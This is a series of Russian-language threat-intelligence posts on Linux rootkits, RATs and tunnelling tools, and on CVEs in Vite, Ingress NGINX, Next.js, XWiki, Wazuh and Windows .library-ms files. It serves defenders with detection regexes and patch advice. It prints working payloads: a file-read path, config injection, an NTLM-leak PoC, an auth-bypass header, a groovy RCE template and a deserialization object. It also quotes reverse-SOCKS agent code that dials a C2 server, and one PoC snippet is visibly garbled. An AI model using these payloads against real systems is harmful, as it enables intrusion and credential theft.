Четыре луча

Pumatsune: как работает младший брат Puma 🐾

Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.

Название Pumatsune выбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.

👁 С помощью Puma, который находится в ядре, Pumatsune незаметно подключается к C2-серверу и выполняет команды. Любые процессы и соединения Pumatsune может скрыть с помощью Puma.

💣 Это открывает руткиту большие возможности: например, он может совершать эксфильтрацию конфиденциальной информации или незаметно исполнять shell-команды.

Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.

↗️ Читать статью

Уязвимость в Vite CVE-2025-30208

CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки Vite, которая позволяет злоумышленнику обходить ограничения доступа к файлам. Уязвимы версии до 6.2.3, 6.1.2, 6.0.12, 5.4.15 и 4.5.10

😬 Метрики

Base Score: 5.3
CWE: CWE-200; CWE-284

😬 Описание

Добавление в URL подстрок ?raw?? или ?import&raw?? позволяет получить содержимое произвольного файла. Это происходит из-за того, что конечные разделители, такие как ?, удаляются в нескольких местах, но не обрабатываются корректно в регулярных выражениях, используемых для проверки строки запроса.

😬 Полезная нагрузка

Полезная нагрузка представляет из себя подобную структуру:

/@fs/etc/passwd?<WORD>?raw

@fs — механизм, который запрещает доступ к файлам за пределами разрешенных директорий,

/etc/passwd — необходимый нам файл,

<WORD>? — не обязательный параметр, может быть любой строкой,

raw — импорт файла как строки.

😬 Как защищаться

Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:

\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw

Puma: новый руткит в арсенале Shedding Zmiy 🐍

У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.

Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.

В ядре руткит перехватывает системные вызовы и функции. Для этого он:
💣 редактирует таблицу вызовов, заменяя оригинальные обработчики своими,
💣 использует фреймворк для трассировки ядра Linux — Ftrace.

После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.

Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач — взаимодействие с C2 сервером.

👀 Подробнее о рутките Puma — в новой статье.

Лог

W0326 07:59:03.292219       7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390       7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274       7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431       7 main.go:107] "successfully validated configuration, accepting" ingress="/"

В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:

I0326 07:59:03.342431       7 main.go:107] "successfully validated configuration, accepting" ingress="/"

Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.

Как защищаться

Нужно написать блокирующее правило на POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:


\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\

Критические уязвимости Ingress NGINX IngressNightmare

IngressNightmare — это набор уязвимостей CVE-2025–24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 и CVE-2025-1974. С ними злоумышленник может внедрять произвольные директивы конфигурации NGINX, включая пользовательские правила маршрутизации и параметры безопасности, в уязвимые системы.

❗️ Для выполнения RCE нужно последовательно проэксплуатировать цепочку из уязвимостей. CVE-2025-1974 — ее последнее звено, которое устранено в 1.11.5, 1.12.1 и более поздних версиях. Настоятельно рекомендуем обновиться.

CVE-2025-24513 (CVSS 4.8) — недостаточная проверка входных данных в ingress-nginx, позволяющая злоумышленнику обойти каталог внутри контейнера, что может привести к DoS или ограниченному раскрытию секретов.

CVE-2025-24514 (CVSS 8.8) — аннотация Ingress auth-url позволяет внедрять конфигурацию в NGINX, что ведет к выполнению кода и раскрытию секретов.

CVE-2025-1097 (CVSS 8.8) — аннотация Ingress auth-tls-match-cn может быть использована для внедрения конфигурации в NGINX, что приводит к RCE и утечке секретов.

CVE-2025-1098 (CVSS 8.8) — аннотации Mirror-Target и Mirror-Host позволяют внедрять произвольную конфигурацию в NGINX, что ведет к RCE и утечке секретов.

CVE-2025-1974 (CVSS 9.8) — критическая уязвимость, позволяющая неаутентифицированному злоумышленнику в сети подов выполнить произвольный код в контексте ingress-nginx controller при определенных условиях.

Ingress NGINX Controller — это инструмент для управления входящим трафиком в Kubernetes-кластере. Он направляет запросы пользователей к нужным сервисам внутри кластера, действуя как прокси-сервер.

Нагрузка

"request": {
             "object": {
               "metadata": {
                 "annotations": {
                   "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine <WAY>;\n\n"
                 }
               }
             }
           }
         }

Большинство уязвимостей связаны с аннотациями, например: nginx.ingress.kubernetes.io/auth-url. Разберем ее:

1️⃣ nginx.ingress.kubernetes.io — обязательная префиксная часть для аннотаций, используемых с Nginx Ingress Controller в Kubernetes. Все аннотации, которые управляют поведением Nginx Ingress Controller, должны начинаться с этого префикса.

2️⃣ auth-url — название аннотации

3️⃣ http://example.com/#;}}}\n\nssl_engine <WAY>;\;\n\n — попытка эксплуатации RCE через ssl_engine. <WAY> указывает на путь /proc/{pid}/fd/{fd}, {pid} и {fd} — значения, которые злоумышленник должен угадать или перебрать. Но для проверки уязвимости может использоваться простоя строка test, как показано на примере ниже.

Пример эксплуатации

Этот запрос должен подтвердить наличие уязвимости на сервере:

curl -v -X POST -H "Content-Type: application/json" -d '{
           "request": {
             "object": {
               "metadata": {
                 "annotations": {
                   "nginx.ingress.kubernetes.io/auth-url": "test"
                 }
               }
             }
           }
         }' https://localhost:1337/validate --insecure

CVE-2025-24071 (NTLM Leak via .library-ms) уже ITW: как обнаружить

Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.

Работает она так: при распаковке из архива файла с расширением .library-ms происходит автоматическая NTLM-аутентификация по адресу, указанному в файле, что может раскрыть аутентификационную информацию пользователя.

Нам известно, что злоумышленники взяли уязвимость на вооружение.

Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:

Exploit Code Maturity: Unproven
Exploited: No

Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».

Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением .library-ms, который содержит путь до SMB-шары внутри тэга <searchConnectorDescriptionList>:

library_content = f**"<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2909/1ibrary*>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <simpleLocation>
                <url>\\ip_address}\shared</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>
library_file_name - f"(file_name).library-ms" 
with open(library_file_name, "w", encoding "utf-&") as f: 
    f.write(library_content)

2. Запаковывает этот .library-ms файл в архив;
3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое .library-ms и отправляет аутентификацию на указанную SMB-шару, на которой мы предварительно поднимаем responder.

После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.

🫡 Любопытный момент: аутентификация на SMB-шаре, адрес которой зашит в файл, будет происходить при *любом* взаимодействии с созданным файлом .library-ms, от создания,до удаления или попыток переместить его в другое место на диске.

🫡 Любопытный момент [2]: если на системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

🫡 Любопытный момент [3]: после выхода патча Microsoft присвоили уязвимости новый номер, CVE-2025-24054.

Мониторинг и детектирование
Рекомендуем отслеживать создание файлов .library-ms на диске процессами-архиваторами или Windows Explorer (explorer.exe). Если вы используете стандартный аудит Windows, обратите внимание на событие Security\4663 (An attempt was made to access an object):

{
  "Event": {
    "System": {
      "Provider": {
        "Name": "Microsoft-Windows-Security-Auditing",
        "Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
      },
      "EventID": "4663",
    },
    "EventData": {
      "Data": [
        {
          "text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
          "Name": "ObjectName"
        },
        {
          "text": "0x3438",
          "Name": "HandleId"
        },
        {
          "text": "%%4417\r\n\t\t\t\t%%4418\r\n\t\t\t\t",
          "Name": "AccessList"
        },
        {
          "text": "0x6",
          "Name": "AccessMask"
        },
        {
          "text": "C:\\Windows\\explorer.exe",
          "Name": "ProcessName"
        },
        {
          "text": "S:AI",
          "Name": "ResourceAttributes"
        }
      ]
    }
  }
}

Если используете Sysmon, то на событие 11 (FileCreate):

{
  "Event": {
    "System": {
      "Provider": {
        "Name": "Microsoft-Windows-Sysmon",
        "Guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}"
      },
      "EventID": "11",
      "Channel": "Microsoft-Windows-Sysmon/Operational",
      },
    "EventData": {
      "Data": [
        {
          "text": "C:\\Program Files\\WinRAR\\WinRAR.exe",
          "Name": "Image"
        },
        {
          "text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
          "Name": "TargetFilename"
        },
      ]
    }
  }
}

Критическая уязвимость Next.js (CVE-2025–29927)

За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке Next.js, позволяющую злоумышленникам обходить проверки авторизации в middleware.

Проблема связана с некорректной обработкой внутреннего заголовка x-middleware-subrequest, который используется для предотвращения рекурсивных запросов и бесконечных циклов в middleware.

❗️ Уязвимы все версии до 14.2.25 и 15.2.3. Настоятельно рекомендуем обновиться.

Middleware (промежуточное или связующее программное обеспечение) — это компонент программного обеспечения, выполняющий обработку запросов и ответов в конвейере приложения.

Метрики

Base Score: 9.1
CWE: CWE-285

Подробности эксплуатации

Если в запросе присутствует заголовок x-middleware-subrequest с нужным значением, то middleware может быть пропущен, и запрос будет направлен непосредственно к конечной точке. Так можно обойти проверку авторизации.

Пример
1️⃣ При отправке запроса к /dashboard:

GET /dashboard HTTP/1.1

получаем ответ, который содержит перенаправление на страницу авторизации /login:

HTTP/1.1 307 Temporary Redirect
location: /login
Date: Mon, 24 Mar 2025 07:18:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 6

/login

2️⃣ Теперь нужно добавить заголовок, содержащий полезную нагрузку.

GET /dashboard HTTP/1.1
Host: <>
Upgrade-Insecure-Requests: 1
x-middleware-subrequest: <>middleware<>

В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.

HTTP/1.1 200 OK

Полезная нагрузка

В процессе исследования уязвимости было найдено множество уникальных значений заголовка x-middleware-subrequest — все зависит от уязвимой версии. Но у всех есть общая черта использования middleware как части значения.

Как защищаться

Написать блокирующее правило на использование заголовка x-middleware-subrequest.

👀 DarkWatchman снова шпионит за жертвами

Мы обнаружили очередную волну фишинговых атак, нацеленных на российские компании. Уже четыре года атакующие проводят новые рассылки, совершенствуя вредоносное ПО DarkWatchman RAT в части обхода защитных механизмов.

Вредоносные письма отправляются якобы от имени Межрайонного отдела судебных приставов по ИПНО г. Москвы с поддельного адреса электронной почты.

Внутри — архивы с именами, имитирующими исполнительные листы, или накладные для посылки через Pony Express, например:

Исполнительный лист №27186421-25 от <date>.zip

Накладная №94-4112-8221.zip

В архивах скрываются вредоносные исполняемые файлы с двойным расширением и иконкой PDF, которые после анализа оказались экземплярами DarkWatchman RAT.

Кстати, наши коллеги писали о кампании посылок от якобы Pony Express в декабре 2024.

Функциональность DarkWatchman RAT

👽 Кейлоггер. Сбор данных о нажатиях клавиш для кражи учетных данных и другой конфиденциальной информации.

👽 Бэкдор. Возможность удалённого выполнения команд и управления зараженной системой.

Методы коммуникации

Для связи с командными серверами C&C используются жёстко закодированные домены, а также домены, генерируемые алгоритмом DGA, что делает атаку более устойчивой к блокировке.

Особенности DarkWatchman RAT

1️⃣ Используется техника Reflective DLL Loading для бесфайлового исполнения DLL.

2️⃣ Применяются нативные и ненативные загрузчики для обхода антивирусных решений.

➡️ Подробнее — в новой статье.

MSConnect ReverseSocks5

В одном из инцидентов нам попался любопытный бинарный файл с именем MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью «GoStringUngarbler» — там оказались «Go-socks5» и «Yamux».

Функция main состоит всего из двух вызовов.

1️⃣ В первом происходит расшифровка строки C2 сервера 80.87.203.112:8050.

2️⃣ Во второй функции по смещению 0x4375c0 происходит сначала такой вызов:

lea     rax, aTcp       ; "tcp"
call    En5ByLpA.Z6n01OjnUBoF

Исходя из строки «tcp», можно предположить, что En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net.

Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета En5ByLpA. Используем goresym и видим:

        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.SignatureScheme.String"
        },
        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.CurveID.String"
        },
        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.ClientAuthType.String"
        },

Типы CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls.

Далее мы видим вызов функции aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server.

Затем следуют вызовы yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:

... (config initialization)

dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);

for {
    stream, err := session.AcceptStream();
    ServeConn(stream); // from go-socks5
  }

Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из Acebond/ReverseSocks5.

ReverseSocks5 — это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.

Если заглянуть в файл main.go, можно увидеть такую функцию:

func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
  log.Println("Connecting to socks server at " + serverAddress)

  var conn net.Conn
  var err error

  if useTLS {
    conn, err = tls.Dial("tcp", serverAddress, nil)
  } else {
    conn, err = net.Dial("tcp", serverAddress)
  }

  if err != nil {
    log.Fatalln(err.Error())
  }

  _, err = conn.Write(magicPacket[:])
  if err != nil {
    log.Fatalln(err.Error())
  }

  log.Println("Connected")

  session := mux.Server(conn, psk)

  for {
    stream, err := session.AcceptStream()
    if err != nil {
      log.Println(err.Error())
      break
    }
    go func() {
      // Note ServeConn() will take overship of stream and close it.
      if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
        log.Println(err.Error())
      }
    }()
  }

  session.Close()
}

В коде этой функции используются другие реализации mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту версию функции, которая представлена в исследуемом семпле.

Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.

IOC:

80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b

Что это за линии в моем дизассемблере и как соединить блоки кода 🤔

Наверное, каждый реверсер когда-нибудь задавал себе подобные вопросы, когда видел висящие в воздухе блоки кода и пунктирные линии (Скриншоты 1 и 2).

Обычно времени и желания разбираться в подобных вопросах нет — они не сильно мешают. Мы тоже годами откладывали решение, но в конце концов нашли его.

1️⃣ Разбираемся с линиями

Оказывается, в дизассемблере IDA есть функции, которые не возвращают управление вызывающей функции. Как раз для обозначения вызовов таких функций в IDA используется понятие no return line:

; ---------------------------------------------------------------------------

Подробнее об этом можно почитать в блоге Hex Rays в 126 серии постов «Igor's Tip of the Week».

2️⃣ Соединяем блоки

Для соединения блоков в дизассемблере необходимо в параметрах функции sub_7FF7010A9A03 убрать галочку со свойства Does not return (Скриншот 3). Да, именно у самой функции sub_7FF7010A9A03, а не в параметрах родительской функции, в которой мы видим call sub_7FF7010A9A03.

Затем IDA обычно автоматически связывает нужные блоки (Скриншот 4). Если этого не произошло, то можно выделить инструкции, между которыми проходит no return line, и нажать C (команда «MakeCode»).

IDA задаст два вопроса — на них можно ответить «Analyze» и «Yes». После этого вы увидите, что no return line исчезла (Скриншот 5), а блоки кода соединились.

Отметим, что no return-функции имеют соответствующий тип, например:

void __fastcall __noreturn sub_7FF7010A9A03();

А что по декомпилированному коду в окне псевдокода?

No return-функции могут также влиять и на декомпилированный код, поэтому если вы видите, что одна инструкция декомпилированного кода соответствует большому количеству разных инструкций в дизассемблере, да и вообще в псевдокоде не хватает строчек кода, то можно попробовать следующее:

🫡 Изменить тип no return функции (кнопка Y), убрав __noreturn;

🫡 Иногда нужно убрать опцию Does not return в параметрах функции.

Подробнее подобный кейс описан в блоге Hex Rays в 162 серии постов «Igor's Tip of the Week», дополнительно можно обратить внимание на 159 серию.

Критическая уязвимость в XWiki CVE-2025-24893

В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.

Описание

Любой пользователь может выполнить произвольное удаленное выполнение кода (RCE) через запрос к SolrSearch. Уязвимы версии 5.3-milestone-2 по 15.10.11 и с версии 16.0.0-rc-1 до 16.4.1

Метрики

Base Score: 9.8
CWE-95

Настоятельно рекомендуем обновиться ❗️

Подробности атаки

Были обнаружены несколько PoC exploit на данную уязвимость. Уязвимой конечной точкой является /xwiki/bin/get/Main/SolrSearch, при значении параметра media равным rss. Сама полезная нагрузка передается в GET или POST параметре text и со значением параметра media равным rss.

Пример нагрузки

```}}}{{async async=false}}{{groovy}}CODE{{/groovy}}{{/async}}```

Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
— {{async async=false}} — попытка отключить асинхронное выполнение макросов.
— {{groovy}} — открывает блок макроса Groovy, который позволяет выполнить Groovy-код на сервере. Могут использоваться и другие виды скриптов, например, python.
— CODE — произвольный код. Вместо CODE располагается RCE код, bash команды могут предаваться внутри, например, new ProcessBuilder.
— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой: ….{{groovy}}CODE1; CODE2; CODE3{{/groovy….

Рекомендации по детекту

Ловить эту атаку сможет правило, которое:

1️⃣проверяет, что запросы идут на /xwiki/bin/get/Main/SolrSearch;
2️⃣ проверяет, что параметр media равен rss;
3️⃣ Проверяет, что параметр text содержит открытие блока макроса {{groovy}},{{python}},{{javascript}} и т.д.

Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.

Группировка Erudite Mogwai использует в атаках кастомный Stowaway для продвижения в сети жертвы

Stowaway — это утилита для пентестеров на языке «Golang» от китайских разработчиков. Она позволяет туннелировать трафик и создавать reverse shell.

Злоумышленники используют лишь её прокси-часть с собственными доработками. По сути, они создали форк, который меняет протокол и базовую функциональность с каждой версией.

Мы сравнили известные нам семплы Stowaway с новыми и с оригинальной утилитой. Вот ключевые особенности:

💣 Злоумышленники используют lz4 для сжатия;

💣 Трафик шифруют алгоритмом XXTEA;

💣 Кодовое слово передается в аргумент -f. Затем от него вычисляется md5 и сравнивается со значением из семпла. Если кодовое слово не совпадает — утилита перестает работать;

💣 В новых версиях группировка добавила поддержку «QUIC-go»;

💣 С каждой новой итерацией меняются «Hello Message» и сама структура протокола.

Недавно нам попался новый семпл 01b3cfe581e5243f5b3a38a6ba229d3fe32175c480ac0999e515463c03c92a6e, который для сжатия данных использует библиотеку «Flate». Его загрузка происходила с IP 176.32.35.184.

Раньше эта группировка была известна под названием Space Pirates. Мы же называем её Erudite Mogwai. Дело в том, что в семплах мы нашли отсылки на исторические события и литературные произведения — атакующие демонстрируют свою эрудированность.

Подробнее про утилиту и про новый инцидент, связанный с группировкой, читайте в нашей новой статье.

Пара слов о Trusted relationship

С начала года команда Solar 4RAYS уже дважды расследовала инциденты, где первичное проникновение в инфраструктуру осуществлялось через подрядчиков.

Мы обнаружили:

👾 вход по RDP с использованием УЗ подрядчика в нерабочее время;

👾 размещение вредоносного ПО класса Proxy (Chisel, Localtonet) с дальнейшей активностью через установленный туннель;

👾 дампинг lsass для получения новых УЗ и более высоких привилегий, на поздних стадиях атаки — DCSync;

👾 использование утилиты Sysinternals (ProcDump и PsExec), Impacket и Mimikatz;

👾 использование в атаке Kali Linux по данным журналов.

Техники не новые — бреши в организациях остаются прежними. Хотим поделиться советами: что сделать, чтобы атакующим было сложнее оказаться в вашей инфраструктуре и навредить ей.

0️⃣ Прежде чем предоставить подрядчику доступ к вашей сети, убедитесь, что он себя защищает:
— регулярно делает оценку компрометации;
— проводит аудит: Penetration Testing, Red Teaming.

Важно, чтобы у подрядчика вовремя обновлялось ПО и существовали политики для паролей и разграничения доступа. Если этого нет, он станет потенциальным источником угрозы.

1️⃣ Используйте двухфакторную аутентификацию для подрядчиков и VPN-подсети для внутренних сервисов. Это затруднит атакующим первоначальное проникновение и дальнейшее продвижение по инфраструктуре.

2️⃣ Сегментируйте сеть. Даже если атакующие получили доступ к вашей инфраструктуре через подрядчика, изоляция критичных сегментов или систем на сетевом уровне позволит сократить поверхность атаки.

3️⃣ Деактивируйте учетные записи подрядчиков, когда работы внутри инфраструктуры будут окончены. В случае необходимости их можно будет активировать.

Отслеживайте неиспользуемые учетные записи подрядчиков — они могут быть активны. В управлении жизненным циклом учеток, доступом к внутренним системам и сервисам поможет IdM.

4️⃣ Мониторьте активность в сети ежедневно. Оба наших инцидента закончились благополучно, потому что коллеги из SOC своевременного заметили вредоносные действия. Правда, атакующие использовали весьма «шумные» техники, поэтому найти их было несложно.

Когда в системах нет мониторинга событий, а атака развивается по сценарию Living of the Land, быстро обнаружить злоумышленников не получится — а значит может быть уже слишком поздно.

Критическая уязвимость WAZUH CVE-2025-24016

В сети появился первый открытый шаблон для сканера уязвимостей Nuclei, проверяющий на наличие уязвимости CVE-2025-24016.

Описание:

В версиях Wazuh с 4.4.0 по 4.9.1 включительно обнаружена уязвимость, связанная с небезопасной десериализацией, позволяющая удаленно выполнять код на сервере.

Метрики:

Base Score: 9.9
CWE-502

Известные подробности:

В DistributedAPI данные сериализуются в JSON и десериализуются через as_wazuh_object (файл framework/wazuh/core/cluster/common.py). Если злоумышленник сможет вставить несанкционированный словарь в запрос или ответ DAPI, это позволит ему подделать необработанное исключение (unhandled_exc) и выполнить произвольный Python-код.

Полезная нагрузка передается в формате JSON. Для реализации атаки необходимо передать учетные данные или токен авторизации совместно с полезной нагрузкой. В шаблонах фигурирует уязвимая конечная точка /security/user/authenticate/run_as.

Пример нагрузки:

 {"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}} 

❗️ Возможно, существуют иные методы эксплуатации CVE-2025-24016.

Как защититься:

👀 Обновиться на версию 4.9.1 или новее;

👀 Сменить стандартные значения Логин/Пароль от DAPI;

👀 Для регистрации на WAF/IDS попыток сканирования уязвимости CVE-2025-24016 публичными шаблонами, рекомендуем написать правило, которое будет блокировать/помечать POST запросы с заголовком Content-Type: application/json и body равному регулярному выражению:

__unhandled_exc__[\":{ ]+(__class__|__call__).*?__args__

P.S. Команда 4RAYS продолжает следить за новыми способами эксплуатации CVE-2025-24016. Если появятся какие-то подробности, мы расскажем о них в канале.

🚨 NGC5160 атаковала почтовые серверы Communigate c помощью критической уязвимости

Недавно ФСТЭК опубликовала информацию об уязвимости в почтовых серверах CommunigatePro. Она проста в эксплуатации и позволяет атакующим удаленно выполнить произвольный код на почтовом сервере, а потому является критической. В CVSS эта брешь получила оценку 9.8.

В октябре 2024 года мы расследовали серию атак на почтовые серверы с ПО CommunigatePro — их целью была полная компрометация почтовой переписки организаций из государственного, оборонно-промышленного комплекса и НКО. 

Мы ещё собираем сведения, чтобы отнести атаку к какой-либо группировке, поэтому пока назвали этот кластер NGC5160. Наш анализ обстоятельств позволяет предположить, что в них использовалась одна или несколько уязвимостей нулевого дня в CommunigatePro.

Вот несколько рекомендаций по защите, которые помогут обезопаситься сейчас и затруднить подобные атаки в будущем:

1️⃣ установите обновление от разработчика: https://communigatepro.ru/history;

2️⃣ разрешите подключения к почтовому серверу только из корпоративной сети или VPN;

3️⃣ для приема писем используйте SMTP-relay;

4️⃣ ограничьте исходящие соединения сервера в интернет -— это позволит затруднить развитие атаки в случае успешной эксплуатации.

Обратите внимание на все эти рекомендации, поскольку уязвимости может быть подвержена каждая версия продукта, в том числе распространенная Communigate Pro 6.4.*, для которой пока что нет патча.

Еще раз о десериализации VIEWSTATE: как правильно менять скомпрометированные ключи ASP.NET, чтобы атакующим было труднее вернуться

Коллеги из Microsoft опубликовали любопытный разбор атаки с использованием уязвимости десериализации ненадежного параметра ViewState и публично известных ключей ASP.NET.

TLDR: неизвестная группировка использует публично доступные статичные ключи ASP.NET, чтобы через десериализацию ненадежного параметра ViewState внедрять вредоносный код и доставлять на целевые машины постэксплуатационный фреймворк Godzilla.

Microsoft рекомендует заменять статичные ключи ASP.NET, но не учитывает, что злоумышленники могут получить доступ к auto-generated ключам, мастер-ключ которых хранится в реестре. В этом случае процесс замены будет отличаться — а «живые» атаки с такими особенностями уже были.

В конце 2023 года мы расследовали случаи, в которых две не связанные между собой APT-группировки эксплуатировали десериализацию ненадежного параметра ViewState (кейс 1, кейс 2).

В обоих случаях у жертв использовались auto-generated-ключи на Exchange-серверах, и злоумышленники получили доступ к ним.

Для корректной смены скомпрометированных auto-generated ключей необходимо:

1️⃣ удалить старое скомпрометированное значение из реестра,

2️⃣ перезапустить службу веб-сервера IIS или соответствующий worker-процесс. 

Также рекомендуем настроить доступ к критичным сервисам, таким как Exchange, через VPN. Это усложнит внешнему злоумышленнику проведение подобных атак и даст время на смену скомпрометированных ключей.

Очень подробно алгоритм смены скомпрометированных auto-generated ключей мы разобрали здесь.